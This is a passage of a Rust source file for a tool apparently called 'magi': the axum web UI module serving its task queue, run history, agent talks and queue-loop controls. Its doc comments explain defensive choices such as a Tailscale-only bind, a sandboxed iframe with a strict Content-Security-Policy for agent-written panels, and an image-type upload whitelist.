Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # The loop runs here
72//!
73//! `magi web` runs the queue loop in this process, started and stopped from
74//! `/api/loop`. That is the point of the whole surface: a task filed from a
75//! phone with nobody around to type `magi serve` is a task that sits in the
76//! queue until someone walks back to the machine.
77//!
78//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
79//! is no pid file of this module's own and nothing to supervise - a child
80//! would need reaping, a second copy of the daemon's retry policy, and a
81//! story for what happens when `magi web` dies with the loop still running.
82//! `<home>/daemon.json`, which the loop itself writes, stays the only
83//! cross-process signal, and it is how this process notices that the
84//! operator's own `magi serve` already owns the loop and refuses to start a
85//! second one that would fight it for claims.
86//!
87//! Stopping is cooperative and therefore not instant. A run in flight is
88//! finished first, for the reason [`daemon::serve`] gives: killing the graph
89//! mid-node leaves worktrees, branches and agent sessions behind and throws
90//! away every agent call already paid for. `POST /api/loop` sets the flag and
91//! answers immediately rather than waiting, because the wait is measured in
92//! tens of minutes and the operator is holding a phone.
93
94#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
135pub const DEFAULT_PORT: u16 = 7878;
136
137/// How often the change stream restats the queue and the runs directory.
138const POLL: Duration = Duration::from_secs(1);
139
140/// Keep-alive interval for the change stream. Phones and intermediaries drop
141/// an idle connection within a minute; a comment every fifteen seconds keeps
142/// the stream alive without waking the radio often enough to matter.
143const KEEPALIVE: Duration = Duration::from_secs(15);
144
145/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
146///
147/// A fixed period this long would not track a `[update] interval` shorter
148/// than itself: an operator who set `interval = "1m"` to make the deck
149/// notice a release within a minute would still wait up to fifteen of them
150/// for the next wake-up to even ask [`updater::Checker::should_check`].
151/// [`recheck_poll_period`] scales the sleep with the configured interval
152/// instead, and this is only its ceiling - reached at the default interval
153/// of a day, where waking any more often would just spend cycles asking a
154/// question that stays "no" for hours.
155const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157/// Floor on the same, so a very short `[update] interval` cannot spin
158/// [`run_update_recheck`] in a near-busy loop.
159const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161/// Runs returned when the client does not ask, and the ceiling if it asks for
162/// more. The cap exists because the list handler parses every `run.json` it
163/// returns, and a phone cannot render two thousand rows anyway.
164const LIST_DEFAULT: usize = 50;
165/// Upper bound for `?limit=`.
166const LIST_MAX: usize = 500;
167
168/// Width of a generated task title, matching what the CLI uses.
169const TITLE_MAX: usize = 72;
170
171/// Per-file cap for an attachment upload.
172///
173/// Enforced twice: axum's own body limit is raised one byte above this, only
174/// on the two attachment `POST` routes (see the router - every other route
175/// keeps the crate-wide default), so an oversize body is still read far
176/// enough to answer with our own message below rather than axum's generic
177/// one; this constant is what that message and the boundary check actually
178/// compare against.
179const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181/// The image types an attachment upload accepts - a closed whitelist, the
182/// same posture [`asset_content_type`] takes for panel assets and for the
183/// same reason: SVG is excluded on purpose because it is active content
184/// (it may carry `<script>`) and not merely a picture, so it never appears
185/// here even though `image/svg+xml` is a real IANA type.
186const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188/// Header carrying the operator's own filename. Free text, stored only for
189/// display - see [`talk::Attachment::name`]'s doc on why it never
190/// contributes to a path.
191const FILENAME_HEADER: &str = "x-filename";
192
193/// The header that makes serving agent-authored HTML defensible, sent by both
194/// panel routes and asserted verbatim by a test.
195///
196/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
197/// denies every fetch destination that is not re-allowed below, which is all of
198/// them except images and fonts; `img-src 'self' data:` means an image comes
199/// from magi's own asset route or from the document itself, so a panel cannot
200/// signal an outside server by pointing an `<img>` at it - the classic
201/// exfiltration channel for markup that cannot run script. `style-src
202/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
203/// free formatting means here and a style sheet cannot make a request that
204/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
205/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
206/// stops a form posting the owner's decision to a third party, and
207/// `frame-ancestors 'self'` stops another site framing the panel to phish with
208/// it.
209///
210/// There is deliberately no `script-src`: `default-src 'none'` already covers
211/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
212/// denied twice over. Weakening any directive here is the difference between a
213/// panel the owner reads and a page that can talk to the tailnet, which is why
214/// the test compares the whole string rather than looking for a substring.
215const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216                         font-src data:; base-uri 'none'; form-action 'none'; \
217                         frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223/// Which address to listen on.
224#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226    /// Ask Tailscale, and fall back to loopback with a warning.
227    Auto,
228    /// An address the operator named.
229    Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233    type Err = String;
234
235    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
236    /// the CLI can take `--bind` straight into it: the one spelling of
237    /// `auto` that matters is the one this function knows.
238    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239        if s.eq_ignore_ascii_case("auto") {
240            return Ok(Self::Auto);
241        }
242        s.parse()
243            .map(Self::Addr)
244            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245    }
246}
247
248impl std::fmt::Display for Bind {
249    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250        match self {
251            Self::Auto => f.write_str("auto"),
252            Self::Addr(addr) => write!(f, "{addr}"),
253        }
254    }
255}
256
257/// How to serve.
258#[derive(Debug, Clone)]
259pub struct Opts {
260    /// Address to listen on.
261    pub bind: Bind,
262    /// Port to listen on.
263    pub port: u16,
264    /// Repository used for tasks posted without one.
265    pub repo: PathBuf,
266    /// Print the URL on its own line for a caller that wants to hand it to a
267    /// browser. magi never launches one itself.
268    pub open: bool,
269    /// Merge mode override for the loop this process runs (`none`, `local`,
270    /// `pr`); `None` leaves it to each repository's own config.
271    ///
272    /// The same override `magi serve --merge` takes, and here for the same
273    /// reason: `magi web` is now the thing that runs the loop, so an operator
274    /// who wants this session's runs to open pull requests has to be able to
275    /// say so without going back to the command they no longer type.
276    pub merge: Option<String>,
277}
278
279impl Default for Opts {
280    fn default() -> Self {
281        Self {
282            bind: Bind::Auto,
283            port: DEFAULT_PORT,
284            repo: PathBuf::from("."),
285            open: false,
286            merge: None,
287        }
288    }
289}
290
291mod id_links;
292
293/// Everything the handlers touch.
294///
295/// The queue, the runs directory and the magi home are fields rather than
296/// process-global lookups so a test drives the real router against a temp
297/// directory instead of the operator's own history.
298#[derive(Debug, Clone)]
299pub struct Ui {
300    queue: Queue,
301    questions: Questions,
302    /// `<home>/notifications`, the bell's own store. Derived from `home` in
303    /// [`Ui::new`] so no constructor signature had to grow.
304    notices: Notices,
305    talks: Talks,
306    runs: PathBuf,
307    references: Arc<id_links::IndexCache>,
308    home: PathBuf,
309    repo: PathBuf,
310    /// Where the runs' worktrees live, for the health disk figures.
311    ///
312    /// Spelled independently of [`crate::run::default_worktree_root`] so the
313    /// test servers can point it at their own temp directory: the health route
314    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
315    /// be measuring the machine instead of the server.
316    worktrees_root: PathBuf,
317    /// Talks with an agent turn in flight right now.
318    ///
319    /// In-process and therefore not durable, which is correct: it guards
320    /// against two taps on one phone and two phones on one tailnet, both of
321    /// which are this process's own concurrency. A second `magi web` would not
322    /// see it, and a second `magi web` on the same home is already a
323    /// misconfiguration the queue's claims would catch first.
324    talk_turns: Arc<Mutex<TalkTurns>>,
325    /// Held by `POST /api/upgrade` from its busy-stage check until the first
326    /// progress record is written, so two taps cannot both start an upgrade.
327    /// After that `upgrade.json` carries the exclusion.
328    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
329    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
330    /// exclusion in memory for when `upgrade.json` could not be written.
331    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
332    /// Request failures before progress exists; never overwrite upgrade.json.
333    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
334    /// Runs this process is resuming right now.
335    ///
336    /// Separate from `talk_turns` because a run and a talk are different
337    /// things to hold, and a resume is far more expensive to start twice: it
338    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
339    /// guards two taps and two phones, which is this process's own
340    /// concurrency.
341    resuming: Arc<Mutex<HashSet<String>>>,
342    /// The last scan of `[repos] roots`, and when it happened. Shared across
343    /// requests so polling `GET /api/repos` repeatedly does not repeat the
344    /// filesystem walk every time - see [`repos::Cache`].
345    repos_cache: repos::Cache,
346    /// The machine-config file the settings screen reads and writes: always
347    /// [`Config::machine_layer`], never anything a request names. A field so a
348    /// test can point it at its own temp directory instead of the operator's.
349    machine_config: Option<PathBuf>,
350    /// Merge mode override handed to the loop this process starts.
351    merge: Option<String>,
352    /// The loop this process is running, if it is running one.
353    looping: Arc<Mutex<LoopState>>,
354    /// How a loop is actually started.
355    ///
356    /// A field rather than a direct call to [`daemon::serve_until`], because
357    /// the real loop resolves its queue and its status file through the
358    /// process-global magi home and claims whatever it finds there. A test
359    /// that started it would reach straight past its own temp directory into
360    /// the operator's live queue, overwrite the status file of the `magi
361    /// serve` that owns it, and spend real agent quota on a real competition.
362    /// What the routes have to get right is the bookkeeping, so the tests
363    /// drive the routes against a loop that only starts and stops; production
364    /// is [`launch_daemon`] and nothing reassigns it.
365    launch: Launch,
366    /// A test-only stop point inside `talk_say`'s busy branch. See
367    /// [`BusyQueueGate`].
368    #[cfg(test)]
369    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
370}
371
372/// A one-shot stop point the busy branch's queued-draft write can be made to
373/// pause at, right before [`talk::queue`] runs.
374///
375/// Exists because a test cannot otherwise pin *when*, relative to the turn
376/// slot being freed, that write happens: `blocking` runs it on
377/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
378/// already finished, so counting polls on the handler future to park it at a
379/// particular `.await` is a guess about scheduling, not a fact about it - see
380/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
381/// used to do exactly that and paid for it with an occasional "async fn
382/// resumed after completion" panic under load.
383///
384/// `reached` fires the instant the write is about to run, so a test waits for
385/// a real event instead of a poll count. `release` then blocks the write
386/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
387/// rather than an async channel because this all happens inside the
388/// `spawn_blocking` closure the write already runs on, off any runtime
389/// worker, so blocking here costs nothing the write was not already going to
390/// cost.
391#[cfg(test)]
392struct BusyQueueGate {
393    reached: tokio::sync::oneshot::Sender<()>,
394    release: std::sync::mpsc::Receiver<()>,
395}
396
397#[cfg(test)]
398impl std::fmt::Debug for BusyQueueGate {
399    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
400        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
401    }
402}
403
404impl Ui {
405    /// A server over explicit paths.
406    pub fn new(
407        queue: Queue,
408        questions: Questions,
409        talks: Talks,
410        runs: PathBuf,
411        home: PathBuf,
412        repo: PathBuf,
413    ) -> Self {
414        Self {
415            queue,
416            questions,
417            notices: Notices::at(home.join("notifications")),
418            talks,
419            runs,
420            references: Arc::default(),
421            home,
422            repo,
423            // The default location, overridden by `with_worktrees_root` - a
424            // builder step rather than a ninth parameter, for the reason
425            // `with_merge` gives.
426            worktrees_root: run::default_worktree_root(),
427            talk_turns: Arc::default(),
428            upgrade_gate: Arc::default(),
429            upgrade_spawned: Arc::default(),
430            upgrade_request_error: Arc::default(),
431            resuming: Arc::default(),
432            repos_cache: repos::Cache::new(),
433            machine_config: Config::machine_layer(),
434            merge: None,
435            looping: Arc::default(),
436            launch: launch_daemon,
437            #[cfg(test)]
438            busy_queue_gate: Arc::default(),
439        }
440    }
441
442    /// The operator's own state: `<home>/queue`, `<home>/questions`,
443    /// `<home>/talks`, `<home>/runs`.
444    pub fn open(repo: PathBuf) -> Self {
445        Self::new(
446            Queue::open(),
447            Questions::open(),
448            Talks::open(),
449            run::runs_root(),
450            run::home(),
451            repo,
452        )
453    }
454
455    /// The merge mode the loop should use, as the command line gave it.
456    ///
457    /// A builder step rather than a seventh parameter on [`Ui::new`], because
458    /// the override is a property of how this process was invoked and not of
459    /// where its state lives - which is all the tests that build a `Ui` by
460    /// hand are saying.
461    #[must_use]
462    pub fn with_merge(mut self, merge: Option<String>) -> Self {
463        self.merge = merge;
464        self
465    }
466
467    /// The machine-config file the settings screen writes, when it is not
468    /// [`Config::machine_layer`] (tests).
469    #[cfg(test)]
470    #[must_use]
471    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
472        self.machine_config = path;
473        self
474    }
475
476    /// Where the runs' worktrees live, when it is not the default.
477    ///
478    /// The health view sizes this directory, so a test that leaves it at the
479    /// default would be measuring the operator's own machine.
480    #[must_use]
481    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
482        self.worktrees_root = root;
483        self
484    }
485
486    /// Point the loop at something other than [`launch_daemon`].
487    ///
488    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
489    /// this crate may start the real loop.
490    #[cfg(test)]
491    #[must_use]
492    fn with_launch(mut self, launch: Launch) -> Self {
493        self.launch = launch;
494        self
495    }
496
497    /// Install a [`BusyQueueGate`] for the next pass through the busy
498    /// branch's queued-draft write, replacing any earlier one.
499    ///
500    /// A setter on `&self` rather than a `with_*` builder consumed once,
501    /// because a test that drives the busy branch more than once (as
502    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
503    /// to build confidence the interleaving is handled deterministically and
504    /// not just on a lucky run) needs a fresh channel pair each time, on the
505    /// one `Ui` it already built its temp directories around.
506    #[cfg(test)]
507    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
508        *self
509            .busy_queue_gate
510            .lock()
511            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
512    }
513
514    /// The loop's state, for [`serve`]'s own way out.
515    fn looping(&self) -> Arc<Mutex<LoopState>> {
516        Arc::clone(&self.looping)
517    }
518
519    /// Start the loop in this process, or say who already has one.
520    ///
521    /// `foreign` is passed in rather than read here so that one request makes
522    /// one judgement about who owns the loop: reading the status file again
523    /// inside this function could refuse a start for a daemon the same
524    /// response then reports as gone.
525    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
526        if let Some(other) = foreign {
527            return Err(ApiError::conflict(format!(
528                "{} is already running the loop, so this one will not start a \
529                 second: two loops on one queue race for the same claims and \
530                 burn the agent quota twice over. Stop it where it was \
531                 started.",
532                other.who()
533            )));
534        }
535        let mut state = self.lock_loop();
536        if state.live.as_ref().is_some_and(Live::alive) {
537            return Err(ApiError::conflict(format!(
538                "this magi web process (pid {}) is already running the loop",
539                std::process::id()
540            )));
541        }
542
543        let stop = daemon::Stop::new();
544        // The CLI's own defaults for everything the UI has no opinion about:
545        // one poll interval and one retry budget, so a loop started from a
546        // phone behaves exactly like the `magi serve` it replaces.
547        let opts = daemon::Opts {
548            repo: self.repo.clone(),
549            merge: self.merge.clone(),
550            // Whatever this `Ui` already reports worktree sizes and folds
551            // against (see `with_worktrees_root`) is what the loop it starts
552            // must reclaim orphaned worktrees under too - two different
553            // opinions about where the worktree bay is would leave the
554            // janitor pass reclaiming a directory nothing else on this
555            // process is even looking at.
556            worktrees_root: Some(self.worktrees_root.clone()),
557            ..daemon::Opts::default()
558        };
559        let launch = self.launch;
560        let looping = Arc::clone(&self.looping);
561        let handle = tokio::spawn({
562            let opts = opts.clone();
563            let stop = stop.clone();
564            async move {
565                let failure = match launch(opts, stop).await {
566                    Ok(()) => None,
567                    Err(e) => Some(format!("{e:#}")),
568                };
569                match &failure {
570                    Some(why) => tracing::error!("the loop stopped: {why}"),
571                    None => tracing::info!("the loop stopped"),
572                }
573                // Recorded by the task itself rather than reaped by whichever
574                // request happens next, so `loop_rev` moves the moment the
575                // loop ends and a phone with the change stream open learns
576                // that it did. Clearing `live` drops this task's own handle,
577                // which only detaches it, and is the last thing it does.
578                let mut state = lock_or_recover(&looping);
579                state.live = None;
580                state.last_error = failure;
581                state.rev += 1;
582            }
583        });
584        tracing::info!(
585            "the loop is now running in this process: repo {}, merge {}",
586            opts.repo.display(),
587            opts.merge.as_deref().unwrap_or("as the config says")
588        );
589        state.live = Some(Live { stop, handle, opts });
590        // A fresh start is not the place to keep showing why the last one
591        // died; the operator has read it and pressed the button anyway.
592        state.last_error = None;
593        state.rev += 1;
594        Ok(())
595    }
596
597    /// Ask the loop to stop, without waiting for it to get there.
598    ///
599    /// Idempotent: a second tap on stop is not an error, because the first one
600    /// leaves the loop running for as long as the run in flight takes and the
601    /// operator has no way to tell a slow stop from a lost one.
602    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
603        if let Some(other) = foreign {
604            return Err(ApiError::conflict(format!(
605                "the loop belongs to {}, and this process cannot stop it - \
606                 stop it where it was started. A button that silently did \
607                 nothing would be worse than this refusal.",
608                other.who()
609            )));
610        }
611        let mut state = self.lock_loop();
612        // An operator who stops the loop has decided it stays stopped, even
613        // across an upgrade that was already in flight.
614        if !park {
615            state.resume_after_handover = false;
616        }
617        let Some(live) = state.live.as_ref() else {
618            return Ok(());
619        };
620        // A park upgrades a stop that has already been asked for: the
621        // operator who tapped "stop" and then realised the run has an hour
622        // left must not have to restart the loop to change their mind.
623        if live.stop.stopped() && (!park || live.stop.parking()) {
624            return Ok(());
625        }
626        if park {
627            live.stop.park(crate::run::ParkCause::Operator);
628            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
629        } else {
630            live.stop.stop();
631            tracing::info!("the loop was asked to stop; a run in flight is finished first");
632        }
633        state.rev += 1;
634        Ok(())
635    }
636
637    /// The loop as both `/api/loop` and `/api/health` report it.
638    ///
639    /// `reading` is the caller's single read of `<home>/daemon.json`, because
640    /// health answers with this view *and* the daemon object beside it: one
641    /// read per response is what stops a single answer naming a foreign owner
642    /// in one field and calling the loop free in the other.
643    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
644        let state = self.lock_loop();
645        // A loop that panicked never recorded its own end, so the handle -
646        // not the presence of the record - is what "running" means.
647        let live = state.live.as_ref().filter(|live| live.alive());
648        LoopView {
649            running: live.is_some(),
650            stopping: live.is_some_and(|live| live.stop.finishing()),
651            parking: live.is_some_and(|live| live.stop.parking()),
652            owned: live.is_some(),
653            repo: live
654                .map_or(&self.repo, |live| &live.opts.repo)
655                .display()
656                .to_string(),
657            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
658            last_error: state.last_error.clone(),
659            daemon: DaemonView::of(reading),
660        }
661    }
662
663    /// Start the loop in a successor whose predecessor was running one.
664    ///
665    /// Goes through the same path as the UI's start-loop action. A refusal
666    /// (another process owns the loop) is logged and left in `last_error`;
667    /// the loop then simply stays stopped.
668    fn resume_after_handover(&self, resume: bool) -> bool {
669        if !resume {
670            return false;
671        }
672        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
673        match self.start_loop(foreign) {
674            Ok(()) => true,
675            Err(e) => {
676                let why = format!(
677                    "the loop could not be resumed after the upgrade: {}",
678                    e.message
679                );
680                tracing::warn!("{why}");
681                let mut state = self.lock_loop();
682                state.last_error = Some(why);
683                state.rev += 1;
684                false
685            }
686        }
687    }
688
689    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
690    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
691        lock_or_recover(&self.looping)
692    }
693
694    /// Whether this process currently owns the agent turn for `id`.
695    ///
696    /// This deliberately describes only the in-memory claim made by
697    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
698    /// never persisted with a [`Talk`].
699    fn is_thinking(&self, id: &str) -> bool {
700        self.talk_turns
701            .lock()
702            .is_ok_and(|turns| turns.live.contains(id))
703            // Another process (the CLI) can hold the turn through the
704            // on-disk lease.
705            || self.talks.turn_held(id)
706    }
707
708    /// Claim the right to run one turn in a talk, or report that it is busy.
709    ///
710    /// A talk is strictly turn-based: the agent is resumed with the
711    /// conversation it already has, so two turns running at once would resume
712    /// the same session twice and append their answers in whatever order the
713    /// two CLIs finished in. The operator would come back to a transcript
714    /// with two half-turns interleaved, which is unreadable and, worse,
715    /// unfixable - there is no undo for a persisted turn.
716    ///
717    /// A busy result is queued as a durable draft by [`talk_say`], rather than
718    /// starting a second CLI invocation for the same session.
719    ///
720    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
721    /// taken to test-and-insert and released before the agent is spawned. The
722    /// returned guard removes the id on drop, which is what makes a panicking
723    /// handler or a phone that walks out of range leave the talk usable - axum
724    /// drops the handler future when the client disconnects, and without the
725    /// guard that talk would be wedged until the server restarted.
726    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
727        self.claim_talk_turn(id, false)
728    }
729
730    /// Claim a turn after durably queueing a draft, or notify its current
731    /// owner that a drainer must recheck before it releases the slot.
732    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
733        self.claim_talk_turn(id, true)
734    }
735
736    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
737        let mut live = self
738            .talk_turns
739            .lock()
740            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
741        if live.parking {
742            if queued {
743                // The draft is already durable; nothing may drain it until
744                // the successor is up, so the caller sees a busy slot.
745                *live.queued.entry(id.to_owned()).or_default() += 1;
746                return Ok(None);
747            }
748            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
749        }
750        let inserted = live.live.insert(id.to_owned());
751        // The on-disk lease is the cross-process half of the gate. Taken
752        // second, and undone if lost, so `live` never claims a turn the lease
753        // refused.
754        let lease = if inserted {
755            match self.talks.claim_turn(id) {
756                Ok(Some(lease)) => Some(lease),
757                Ok(None) => {
758                    live.live.remove(id);
759                    None
760                }
761                Err(e) => {
762                    live.live.remove(id);
763                    return Err(ApiError::from(e));
764                }
765            }
766        } else {
767            None
768        };
769        if lease.is_none() {
770            if queued {
771                // A queued write has landed before this busy check.
772                // `drain_loop` uses this generation to recheck after its
773                // off-thread disk read, so it cannot release a turn between
774                // this check and the write.
775                *live.queued.entry(id.to_owned()).or_default() += 1;
776            }
777            return Ok(None);
778        }
779        Ok(Some(TalkTurnGuard {
780            talk: id.to_owned(),
781            turns: Arc::clone(&self.talk_turns),
782            released: false,
783            lease,
784        }))
785    }
786
787    /// Decide whether a free talk may start a new immediate turn while its
788    /// claim lock is held. A persisted draft without an owner is recovery
789    /// state, not a busy turn: two simultaneous `/say` requests must both
790    /// leave it untouched rather than one of them appending to it.
791    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
792        let mut live = self
793            .talk_turns
794            .lock()
795            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
796        // Same answer as a running turn: the text is queued as a draft.
797        if live.parking || live.live.contains(id) {
798            return Ok(TalkTurnStart::Busy);
799        }
800        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
801            return Ok(TalkTurnStart::Foreign);
802        };
803        // A refused `Pending` below drops the lease again.
804        let talk = self.talks.get(id).map_err(ApiError::from)?;
805        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
806            return Ok(TalkTurnStart::Pending);
807        }
808        live.live.insert(id.to_owned());
809        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
810            talk: id.to_owned(),
811            turns: Arc::clone(&self.talk_turns),
812            released: false,
813            lease: Some(lease),
814        }))
815    }
816
817    fn queued_generation(&self, id: &str) -> u64 {
818        let live = self
819            .talk_turns
820            .lock()
821            .unwrap_or_else(PoisonError::into_inner);
822        live.queued.get(id).copied().unwrap_or(0)
823    }
824
825    /// The shared turn slots, for the upgrade hand-over to wait on.
826    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
827        Arc::clone(&self.talk_turns)
828    }
829
830    /// Park the loop for an upgrade, and report the run that is parking.
831    ///
832    /// A park rather than a stop: a stop waits out the whole competition, and
833    /// not waiting is the point of upgrading from a phone. `None` means
834    /// nothing was in flight, which is worth saying so the operator is not
835    /// told a run is parking when none is.
836    fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
837        let parking = {
838            let mut state = self.lock_loop();
839            // Decided here, before the park: by the time the handover fires
840            // an idle loop has already seen the park and ended, so `live`
841            // would read as "was never running". A loop the operator had
842            // already stopped stays stopped.
843            //
844            // Sticky: a second upgrade request finds the loop already
845            // stopping because of the first one's park, and must not read
846            // that as the operator having stopped it. Only an explicit stop
847            // or a failed update clears an earlier intent.
848            let resume = state.resume_after_handover
849                || state
850                    .live
851                    .as_ref()
852                    .is_some_and(|live| live.alive() && !live.stop.stopped());
853            state.resume_after_handover = resume;
854            let Some(live) = state.live.as_ref() else {
855                return Ok(None);
856            };
857            let busy = live.stop.busy_now();
858            live.stop.park(crate::run::ParkCause::Upgrade {
859                from: from.to_owned(),
860                to: to.map(|t| t.trim_start_matches('v').to_owned()),
861            });
862            state.rev += 1;
863            busy
864        };
865        Ok(if parking {
866            // More than one run can be in flight now (see
867            // `Config::daemon.max_concurrent_runs`); this answer names one of
868            // them so the operator sees a park actually happened, not every
869            // run a park now asks to stop at its next boundary.
870            daemon::current_work(&self.home, jiff::Timestamp::now())
871                .into_iter()
872                .next()
